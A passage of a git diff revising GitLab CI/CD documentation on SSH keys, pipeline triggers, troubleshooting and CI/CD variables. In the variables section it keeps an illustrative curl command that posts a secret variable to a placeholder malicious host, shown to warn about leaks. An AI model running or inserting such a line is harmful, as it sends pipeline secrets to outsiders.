ssh-keyscan example.com >> ~/.ssh/known_hosts - # - chmod 644 ~/.ssh/known_hosts - - ## - ## You can optionally disable host key checking. Be aware that by adding that - ## you are susceptible to man-in-the-middle attacks. - ## WARNING: Use this only with the Docker executor, if you use it with shell - ## you will overwrite your user's SSH config. - ## - # - '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" >> ~/.ssh/config' -``` - -## Example project - -We have set up an [Example SSH Project](https://gitlab.com/gitlab-examples/ssh-private-key/) for your convenience -that runs on [GitLab.com](https://gitlab.com) using our publicly available -[shared runners](../runners/README.md). - -Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes is picked by a public runner and the job starts. +<!-- This redirect file can be deleted after 2021-05-01. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md new file mode 100644 index 00000000000..2cdef176a22 --- /dev/null +++ b/doc/ci/ssh_keys/index.md @@ -0,0 +1,212 @@ +--- +stage: Verify +group: Continuous Integration +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: tutorial +--- + +# Using SSH keys with GitLab CI/CD + +GitLab currently doesn't have built-in support for managing SSH keys in a build +environment (where the GitLab Runner runs). + +The SSH keys can be useful when: + +1. You want to checkout internal submodules +1. You want to download private packages using your package manager (e.g., Bundler) +1. You want to deploy your application to your own server, or, for example, Heroku +1. You want to execute SSH commands from the build environment to a remote server +1. You want to rsync files from the build environment to a remote server + +If anything of the above rings a bell, then you most likely need an SSH key. + +The most widely supported method is to inject an SSH key into your build +environment by extending your `.gitlab-ci.yml`, and it's a solution which works +with any type of [executor](https://docs.gitlab.com/runner/executors/) +(Docker, shell, etc.). + +## How it works + +1. Create a new SSH key pair locally with [`ssh-keygen`](https://linux.die.net/man/1/ssh-keygen) +1. Add the private key as a [variable](../variables/README.md) to + your project +1. Run the [`ssh-agent`](https://linux.die.net/man/1/ssh-agent) during job to load + the private key. +1. Copy the public key to the servers you want to have access to (usually in + `~/.ssh/authorized_keys`) or add it as a [deploy key](../../ssh/README.md#deploy-keys) + if you are accessing a private GitLab repository. + +The private key is displayed in the job log, unless you enable +[debug logging](../variables/README.md#debug-logging). You might also want to +check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines). + +## SSH keys when using the Docker executor + +When your CI/CD jobs run inside Docker containers (meaning the environment is +contained) and you want to deploy your code in a private server, you need a way +to access it. This is where an SSH key pair comes in handy. + +1. You first need to create an SSH key pair. For more information, follow + the instructions to [generate an SSH key](../../ssh/README.md#generate-an-ssh-key-pair). + **Do not** add a passphrase to the SSH key, or the `before_script` will + prompt for it. + +1. Create a new [CI/CD variable](../variables/README.md). + As **Key** enter the name `SSH_PRIVATE_KEY` and in the **Value** field paste + the content of your _private_ key that you created earlier. + +1. Modify your `.gitlab-ci.yml` with a `before_script` action. In the following + example, a Debian based image is assumed. Edit to your needs: + + ```yaml + before_script: + ## + ## Install ssh-agent if not already installed, it is required by Docker. + ## (change apt-get to yum if you use an RPM-based image) + ## + - 'command -v ssh-agent >/dev/null || ( apt-get update -y && apt-get install openssh-client -y )' + + ## + ## Run ssh-agent (inside the build environment) + ## + - eval $(ssh-agent -s) + + ## + ## Add the SSH key stored in SSH_PRIVATE_KEY variable to the agent store + ## We're using tr to fix line endings which makes ed25519 keys work + ## without extra base64 encoding. + ## https://gitlab.com/gitlab-examples/ssh-private-key/issues/1#note_48526556 + ## + - echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - + + ## + ## Create the SSH directory and give it the right permissions + ## + - mkdir -p ~/.ssh + - chmod 700 ~/.ssh + + ## + ## Optionally, if you will be using any Git commands, set the user name and + ## and email. + ## + # - git config --global user.email "user@example.com" + # - git config --global user.name "User name" + ``` + + The [`before_script`](../yaml/README.md#before_script) can be set globally + or per-job. + +1. Make sure the private server's [SSH host keys are verified](#verifying-the-ssh-host-keys). + +1. As a final step, add the _public_ key from the one you created in the first + step to the services that you want to have an access to from within the build + environment. If you are accessing a private GitLab repository you need to add + it as a [deploy key](../../ssh/README.md#deploy-keys). + +That's it! You can now have access to private servers or repositories in your +build environment. + +## SSH keys when using the Shell executor + +If you are using the Shell executor and not Docker, it is easier to set up an +SSH key. + +You can generate the SSH key from the machine that GitLab Runner is installed +on, and use that key for all projects that are run on this machine. + +1. First, log in to the server that runs your jobs. + +1. Then, from the terminal, log in as the `gitlab-runner` user: + + ```shell + sudo su - gitlab-runner + ``` + +1. Generate the SSH key pair as described in the instructions to + [generate an SSH key](../../ssh/README.md#generate-an-ssh-key-pair). + **Do not** add a passphrase to the SSH key, or the `before_script` will + prompt for it. + +1. As a final step, add the _public_ key from the one you created earlier to the + services that you want to have an access to from within the build environment. + If you are accessing a private GitLab repository you need to add it as a + [deploy key](../../ssh/README.md#deploy-keys). + +After generating the key, try to sign in to the remote server to accept the +fingerprint: + +```shell +ssh example.com +``` + +For accessing repositories on GitLab.com, you would use `git@gitlab.com`. + +## Verifying the SSH host keys + +It is a good practice to check the private server's own public key to make sure +you are not being targeted by a man-in-the-middle attack. If anything +suspicious happens, you notice it because the job fails (the SSH +connection fails when the public keys don't match). + +To find out the host keys of your server, run the `ssh-keyscan` command from a +trusted network (ideally, from the private server itself): + +```shell +## Use the domain name +ssh-keyscan example.com + +## Or use an IP +ssh-keyscan 1.2.3.4 +``` + +Create a new [CI/CD variable](../variables/README.md) with +`SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`. + +If you need to connect to multiple servers, all the server host keys +need to be collected in the **Value** of the variable, one key per line. + +NOTE: +By using a variable instead of `ssh-keyscan` directly inside +`.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml` +if the host domain name changes for some reason. Also, the values are predefined +by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail, +so there's something wrong with the server or the network. + +Now that the `SSH_KNOWN_HOSTS` variable is created, in addition to the +[content of `.gitlab-ci.yml`](#ssh-keys-when-using-the-docker-executor) +above, here's what more you need to add: + +```yaml +before_script: + ## + ## Assuming you created the SSH_KNOWN_HOSTS variable, uncomment the + ## following two lines. + ## + - echo "$SSH_KNOWN_HOSTS" >> ~/.ssh/known_hosts + - chmod 644 ~/.ssh/known_hosts + + ## + ## Alternatively, use ssh-keyscan to scan the keys of your private server. + ## Replace example.com with your private server's domain name. Repeat that + ## command if you have more than one server to connect to. + ## + # - ssh-keyscan example.com >> ~/.ssh/known_hosts + # - chmod 644 ~/.ssh/known_hosts + + ## + ## You can optionally disable host key checking. Be aware that by adding that + ## you are susceptible to man-in-the-middle attacks. + ## WARNING: Use this only with the Docker executor, if you use it with shell + ## you will overwrite your user's SSH config. + ## + # - '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" >> ~/.ssh/config' +``` + +## Example project + +We have set up an [Example SSH Project](https://gitlab.com/gitlab-examples/ssh-private-key/) for your convenience +that runs on [GitLab.com](https://gitlab.com) using our publicly available +[shared runners](../runners/README.md). + +Want to hack on it? Simply fork it, commit and push your changes. Within a few +moments the changes is picked by a public runner and the job starts. diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index 2e7ec58f048..b4cea48a362 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: tutorial --- -# Triggering pipelines through the API **(CORE)** +# Triggering pipelines through the API **(FREE)** Triggers can be used to force a pipeline rerun of a specific `ref` (branch or tag) with an API call. @@ -17,7 +17,7 @@ The following methods of authentication are supported: - [Trigger token](#trigger-token) - [CI job token](#ci-job-token) -If using the `$CI_PIPELINE_SOURCE` [predefined environment variable](../variables/predefined_variables.md) +If using the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md) to limit which jobs run in a pipeline, the value could be either `pipeline` or `trigger`, depending on which trigger method is used. @@ -35,12 +35,12 @@ A unique trigger token can be obtained when [adding a new trigger](#adding-a-new WARNING: Passing plain text tokens in public projects is a security issue. Potential attackers can impersonate the user that exposed their trigger token publicly in -their `.gitlab-ci.yml` file. Use [variables](../variables/README.md#gitlab-cicd-environment-variables) +their `.gitlab-ci.yml` file. Use [CI/CD variables](../variables/README.md) to protect trigger tokens. ### CI job token -You can use the `CI_JOB_TOKEN` [variable](../variables/README.md#predefined-environment-variables) (used to authenticate +You can use the `CI_JOB_TOKEN` [CI/CD variable](../variables/README.md#predefined-cicd-variables) (used to authenticate with the [GitLab Container Registry](../../user/packages/container_registry/index.md)) in the following cases. #### When used with multi-project pipelines @@ -53,7 +53,7 @@ and it creates a dependent pipeline relation visible on the [pipeline graph](../multi_project_pipelines.md). For example: ```yaml -build_docs: +trigger_pipeline: stage: deploy script: - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" @@ -126,16 +126,14 @@ branches or tags. The `:id` of a project can be found by [querying the API](../../api/projects.md) or by visiting the **CI/CD** settings page which provides self-explanatory examples. -When a rerun of a pipeline is triggered, the information is exposed in the GitLab -UI under the **Jobs** page and the jobs are marked as triggered 'by API'. +When a rerun of a pipeline is triggered, jobs are marked as triggered `by API` in +**CI/CD > Jobs**. - - -You can see which trigger caused the rebuild by visiting the single job page. +You can see which trigger caused a job to run by visiting the single job page. A part of the trigger's token is exposed in the UI as you can see from the image below. - + By using cURL you can trigger a pipeline rerun with minimal effort, for example: @@ -146,7 +144,7 @@ curl --request POST \ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` -In this case, the project with ID `9` gets rebuilt on `master` branch. +In this case, the pipeline for the project with ID `9` runs on the `master` branch. Alternatively, you can pass the `token` and `ref` arguments in the query string: @@ -156,12 +154,12 @@ curl --request POST \ ``` You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that -you have two projects, A and B, and you want to trigger a rebuild on the `master` +you have two projects, A and B, and you want to trigger a pipeline on the `master` branch of project B whenever a tag on project A is created. This is the job you need to add in project A's `.gitlab-ci.yml`: ```yaml -build_docs: +trigger_pipeline: stage: deploy script: - 'curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' @@ -170,7 +168,7 @@ build_docs: ``` This means that whenever a new tag is pushed on project A, the job runs and the -`build_docs` job is executed, triggering a rebuild of project B. The +`trigger_pipeline` job is executed, triggering the pipeline for project B. The `stage: deploy` ensures that this job runs only after all jobs with `stage: test` complete successfully. @@ -187,6 +185,41 @@ You should pass `ref` as part of the URL, to take precedence over `ref` from the webhook body that designates the branch ref that fired the trigger in the source repository. Be sure to URL-encode `ref` if it contains slashes. +### Using webhook payload in the triggered pipeline + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31197) in GitLab 13.9. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-trigger_payload-variable). **(FREE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +If you trigger a pipeline by using a webhook, you can access the webhook payload with +the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md). +The payload is exposed as a [file-type variable](../variables/README.md#custom-cicd-variables-of-type-file), +so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command. + +#### Enable or disable the `TRIGGER_PAYLOAD` variable + +The `TRIGGER_PAYLOAD` CI/CD variable is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:ci_trigger_payload_into_pipeline) +``` + +To disable it: + +```ruby +Feature.disable(:ci_trigger_payload_into_pipeline) +``` + ## Making use of trigger variables You can pass any number of arbitrary variables in the trigger API call and they @@ -204,7 +237,7 @@ This information is also exposed in the UI. Please note that _values_ are only v Using trigger variables can be proven useful for a variety of reasons: - Identifiable jobs. Since the variable is exposed in the UI you can know - why the rebuild was triggered if you pass a variable that explains the + why the pipeline was triggered if you pass a variable that explains the purpose. - Conditional job processing. You can have conditional jobs that run whenever a certain variable is present. @@ -236,7 +269,7 @@ upload_package: - if [ -n "${UPLOAD_TO_S3}" ]; then make upload; fi ``` -You can then trigger a rebuild while you pass the `UPLOAD_TO_S3` variable +You can then trigger a pipeline while you pass the `UPLOAD_TO_S3` variable and the script of the `upload_package` job is run: ```shell @@ -247,7 +280,7 @@ curl --request POST \ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` -Trigger variables have the [highest priority](../variables/README.md#priority-of-environment-variables) +Trigger variables have the [highest priority](../variables/README.md#priority-of-cicd-variables) of all types of variables. ## Using cron to trigger nightly pipelines diff --git a/doc/ci/triggers/img/builds_page.png b/doc/ci/triggers/img/builds_page.png Binary files differdeleted file mode 100644 index 14d73b140f4..00000000000 --- a/doc/ci/triggers/img/builds_page.png +++ /dev/null diff --git a/doc/ci/triggers/img/trigger_single_build.png b/doc/ci/triggers/img/trigger_single_job.png Binary files differindex b760782afdc..b760782afdc 100644 --- a/doc/ci/triggers/img/trigger_single_build.png +++ b/doc/ci/triggers/img/trigger_single_job.png diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 9cda1f14b01..cddcf76236a 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -222,6 +222,29 @@ This also applies if the pipeline has not been created yet, or if you are waitin for an external CI service. If you don't use pipelines for your project, then you should disable **Pipelines must succeed** so you can accept merge requests. +### "The pipeline for this merge request did not complete. Push a new commit to fix the failure or check the troubleshooting documentation to see other possible actions." message + +This message is shown if the [merge request pipeline](merge_request_pipelines/index.md), +[merged results pipeline](merge_request_pipelines/pipelines_for_merged_results/index.md), +or [merge train pipeline](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) +has failed or been canceled. + +If a merge request pipeline or merged result pipeline was canceled or failed, you can: + +- Re-run the entire pipeline by clicking **Run pipeline** in the pipeline tab in the merge request. +- [Retry only the jobs that failed](pipelines/index.md#view-pipelines). If you re-run the entire pipeline, this is not necessary. +- Push a new commit to fix the failure. + +If the merge train pipeline has failed, you can: + +- Check the failure and determine if you can use the [`/merge` quick action](../user/project/quick_actions.md) to immediately add the merge request to the train again. +- Re-run the entire pipeline by clicking **Run pipeline** in the pipeline tab in the merge request, then add the merge request to the train again. +- Push a commit to fix the failure, then add the merge request to the train again. + +If the merge train pipeline was canceled before the merge request was merged, without a failure, you can: + +- Add it to the train again. + ## Pipeline warnings Pipeline configuration warnings are shown when you: @@ -239,6 +262,23 @@ To [prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines), us [`workflow: rules`](yaml/README.md#workflowrules) or rewrite your rules to control which pipelines can run. +### Console workaround if job using resource_group gets stuck + +```ruby +# find resource group by name +resource_group = Project.find_by_full_path('...').resource_groups.find_by(key: 'the-group-name') +busy_resources = resource_group.resources.where('build_id IS NOT NULL') + +# identify which builds are occupying the resource +# (I think it should be 1 as of today) +busy_resources.pluck(:build_id) + +# it's good to check why this build is holding the resource. +# Is it stuck? Has it been forcefully dropped by the system? +# free up busy resources +busy_resources.update_all(build_id: nil) +``` + ## How to get help If you are unable to resolve pipeline issues, you can get help from: diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md index 1fec1f77bc3..ee060f33d01 100644 --- a/doc/ci/unit_test_reports.md +++ b/doc/ci/unit_test_reports.md @@ -67,8 +67,9 @@ execution time and the error output. ### Number of recent failures -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241759) in GitLab 13.7. +> - [Introduced in Merge Requests](https://gitlab.com/gitlab-org/gitlab/-/issues/241759) in GitLab 13.7. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268249) in GitLab 13.8. +> - [Introduced in Test Reports](https://gitlab.com/gitlab-org/gitlab/-/issues/235525) in GitLab 13.9. If a test failed in the project's default branch in the last 14 days, a message like `Failed {n} time(s) in {default_branch} in the last 14 days` is displayed for that test. @@ -290,6 +291,22 @@ javascript: - junit.xml ``` +### Flutter / Dart example + +This example `.gitlab-ci.yml` file uses the [JUnit Report](https://pub.dev/packages/junitreport) package to convert the `flutter test` output into JUnit report XML format: + +```yaml +test: + stage: test + script: + - flutter test --machine | tojunit -o report.xml + artifacts: + when: always + reports: + junit: + - report.xml +``` + ## Viewing Unit test reports on GitLab > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default. @@ -310,7 +327,12 @@ You can also retrieve the reports via the [GitLab API](../api/pipelines.md#get-a > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0. > - It's deployed behind a feature flag, disabled by default. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-junit-screenshots-feature). **(CORE ONLY)** +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-junit-screenshots-feature). **(FREE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complete, the attached file will be visible on the pipeline details page. If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment. @@ -322,9 +344,7 @@ Upload your screenshots as [artifacts](pipelines/job_artifacts.md#artifactsrepor </testcase> ``` -When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complete, the attached file will be visible on the pipeline details page. - -### Enabling the JUnit screenshots feature **(CORE ONLY)** +### Enabling the JUnit screenshots feature **(FREE SELF)** This feature comes with the `:junit_pipeline_screenshots_view` feature flag disabled by default. diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 5fca8e8c2b7..b6228e26175 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -5,20 +5,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# GitLab CI/CD environment variables +# GitLab CI/CD variables -An environment variable is a dynamically-named value that can -affect the way running processes behave on an operating -system. +CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md) +and jobs run. For example, you could: -Environment variables are part of the environment in which a process runs. -For example, a running process could: - -- Use the value of a `TEMP` environment variable to know the correct location - to store temporary files. +- Use the value of a `TEMP` variable to know the correct location to store temporary files. - Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts. -Variables are useful for customizing your jobs in GitLab CI/CD. +Variables can be used to customize your jobs in [GitLab CI/CD](../README.md). When you use variables, you don't have to hard-code values. > For more information about advanced use of GitLab CI/CD: @@ -28,28 +23,27 @@ When you use variables, you don't have to hard-code values. > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/) > of managing projects across many cloud providers with GitLab CI/CD. -## Predefined environment variables +## Predefined CI/CD variables -GitLab CI/CD has a [default set of predefined variables](predefined_variables.md) +GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) that you can use without any additional specification. You can call issue numbers, user names, branch names, pipeline and commit IDs, and much more. -Predefined environment variables are provided by GitLab -for the local environment of the runner. +Predefined variables are provided by GitLab for the local environment of the runner. GitLab reads the `.gitlab-ci.yml` file and sends the information to the runner, where the variables are exposed. The runner then runs the script commands. -### Use predefined environment variables +### Use predefined CI/CD variables -You can choose one of the existing predefined variables +You can choose one of the existing predefined CI/CD variables to be output by the runner. This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`. In your `.gitlab-ci.yml` file, call the variable from your script. Ensure -you use the correct [syntax](#syntax-of-environment-variables-in-job-scripts). +you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts). ```yaml test_variable: @@ -63,14 +57,15 @@ job `test_variable`, which is `test`:  -## Custom environment variables +## Custom CI/CD variables -When you need a specific custom environment variable, you can +When you need a specific custom variable, you can [set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md), or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml). The variables are used by the runner any time the pipeline runs. -You can also [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs). +You can also [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), +or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). There are two types of variables: **Variable** and **File**. You cannot set types in the `.gitlab-ci.yml` file, but you can set them in the UI and API. @@ -96,7 +91,7 @@ For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined ### Create a custom variable in the UI -From within the UI, you can add or update custom environment variables: +From the UI, you can add or update custom variables: 1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. 1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details: @@ -104,7 +99,7 @@ From within the UI, you can add or update custom environment variables: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: `File` or `Variable`. - - **Environment scope**: `All`, or specific environments. + - **Environment scope**: `All`, or specific [environments](../environments/index.md). - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements). @@ -145,7 +140,7 @@ build: - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` -### Custom environment variables of type Variable +### Custom CI/CD variables of type Variable > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. @@ -155,7 +150,7 @@ that uses the key for the name and the value for the value. There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type, which may be further validated. They appear when you add or update a variable in the UI. -### Custom environment variables of type File +### Custom CI/CD variables of type File > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. @@ -207,10 +202,11 @@ The value of the variable must: - Be in a single line. - Be at least 8 characters long. -- Not be a predefined or custom environment variable. -- Consist only of characters from the Base64 alphabet (RFC4648). - [In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) - and newer, `@` and `:` are also valid values. +- Not be a predefined or custom CI/CD variable. +- Consist only of: + - Characters from the Base64 alphabet (RFC4648). + - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later). + - The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later). You can't mask variables that don't meet these requirements. @@ -247,7 +243,7 @@ WARNING: When you store credentials, there are security implications. If you are using AWS keys, for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). -## Syntax of environment variables in job scripts +## Syntax of CI/CD variables in job scripts All variables are set as environment variables in the build environment, and they are accessible with normal methods that are used to access such variables. @@ -263,7 +259,7 @@ To access environment variables, use the syntax for your runner's [shell](https: ### Bash -To access environment variables in **bash**, prefix the variable name with (`$`): +To access environment variables in **bash**, prefix the CI/CD variable name with (`$`): ```yaml job_name: @@ -274,8 +270,8 @@ job_name: ### PowerShell To access variables in a **Windows PowerShell** environment, including system set -environment variables, prefix the variable name with (`$env:`). Environment variables -set by GitLab CI can also be accessed by prefixing the variable name with (`$`) with +environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables +can also be accessed by prefixing the variable name with (`$`) with [GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68) and later. @@ -371,9 +367,8 @@ export GITLAB_USER_ID="42" ## `.gitlab-ci.yml` defined variables -You can add variables that are set in the build environment to `.gitlab-ci.yml`. -These variables are saved in the repository, and they -are meant to store non-sensitive project configuration, like `RAILS_ENV` or +You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository, +and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or `DATABASE_URL`. For example, if you set the variable below globally (not inside a job), it is @@ -406,13 +401,20 @@ script: - 'eval $LS_CMD' # will execute 'ls -al $TMP_DIR' ``` -## Group-level environment variables +Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) +keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually): + +## Group-level CI/CD variables > Introduced in GitLab 9.4. -You can define per-project or per-group variables that are set in the pipeline environment. Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`). They are securely passed to GitLab Runner, which makes them available during a pipeline run. +You can define per-project or per-group variables that are set in the pipeline environment. +Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`). +They are securely passed to GitLab Runner, which makes them available during a pipeline run. -We recommend using group environment variables to store secrets (like passwords, SSH keys, and credentials) for Premium users who: +We recommend using group variables to store secrets (like passwords, SSH keys, and +credentials) for users who: - Do **not** use an external key store. - Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). @@ -430,7 +432,7 @@ After you set them, they are available for all subsequent pipelines. Any group-l  -## Instance-level CI/CD environment variables +## Instance-level CI/CD variables > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. @@ -471,12 +473,12 @@ To enable it: Feature.enable(:instance_variables_ui) ``` -## Inherit environment variables +## Inherit CI/CD variables > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0 behind a disabled [feature flag](../../administration/feature_flags.md): `ci_dependency_variables`. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. -You can inherit environment variables from dependent jobs. +You can inherit CI/CD variables from dependent jobs. This feature makes use of the [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) report feature. @@ -519,7 +521,7 @@ deploy: artifacts: true ``` -## Priority of environment variables +## Priority of CI/CD variables Variables of different types can take precedence over other variables, depending on where they are defined. @@ -528,14 +530,14 @@ The order of precedence for variables is (from highest to lowest): 1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables), and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline). -1. Project-level [variables](#custom-environment-variables) or [protected variables](#protect-a-custom-variable). -1. Group-level [variables](#group-level-environment-variables) or [protected variables](#protect-a-custom-variable). -1. Instance-level [variables](#instance-level-cicd-environment-variables) or [protected variables](#protect-a-custom-variable). -1. [Inherited environment variables](#inherit-environment-variables). +1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable). +1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable). +1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable). +1. [Inherited CI/CD variables](#inherit-cicd-variables). 1. YAML-defined [job-level variables](../yaml/README.md#variables). 1. YAML-defined [global variables](../yaml/README.md#variables). -1. [Deployment variables](#deployment-environment-variables). -1. [Predefined environment variables](predefined_variables.md). +1. [Deployment variables](#deployment-variables). +1. [Predefined CI/CD variables](predefined_variables.md). For example, if you define: @@ -549,7 +551,7 @@ variables take precedence over those defined in `.gitlab-ci.yml`. Variable names are limited by the underlying shell used to execute scripts (see [available shells](https://docs.gitlab.com/runner/shells/index.html). Each shell has its own unique set of reserved variable names. -Keep in mind the [scope of environment variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it. +Keep in mind the [scope of CI/CD variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it. ## Where variables can be used @@ -557,14 +559,14 @@ Keep in mind the [scope of environment variables](where_variables_can_be_used.md ## Advanced use -### Limit the environment scopes of environment variables +### Limit the environment scopes of CI/CD variables You can limit the environment scope of a variable by [defining which environments](../environments/index.md) it can be available for. To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs). -### Deployment environment variables +### Deployment variables > Introduced in GitLab 8.15. @@ -582,11 +584,10 @@ An example integration that defines deployment variables is the > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7. You can configure [Auto DevOps](../../topics/autodevops/index.md) to -pass CI variables to the running application by prefixing the key of the +pass CI/CD variables to the running application by prefixing the key of the variable with `K8S_SECRET_`. -These [prefixed -variables](../../topics/autodevops/customize.md#application-secret-variables) are +These [prefixed variables](../../topics/autodevops/customize.md#application-secret-variables) are then available as environment variables on the running application container. @@ -603,9 +604,9 @@ You can override the value of a variable when: 1. Manually playing a job via the UI. 1. Using [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). 1. Manually triggering pipelines with [the API](../triggers/README.md#making-use-of-trigger-variables). -1. Passing variables to a [downstream pipeline](../multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline). +1. Passing variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline). -These pipeline variables declared in these events take [priority over other variables](#priority-of-environment-variables). +These pipeline variables declared in these events take [priority over other variables](#priority-of-cicd-variables). #### Restrict who can override variables @@ -618,7 +619,7 @@ variables, an `Insufficient permissions to set pipeline variables` error occurs. The setting is `disabled` by default. -If you [store your CI configurations in a different repository](../../ci/pipelines/settings.md#custom-ci-configuration-path), +If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path), use this setting for strict control over all aspects of the environment the pipeline runs in. @@ -642,7 +643,7 @@ value for this specific pipeline.  -## Environment variables expressions +## CI/CD variable expressions > - 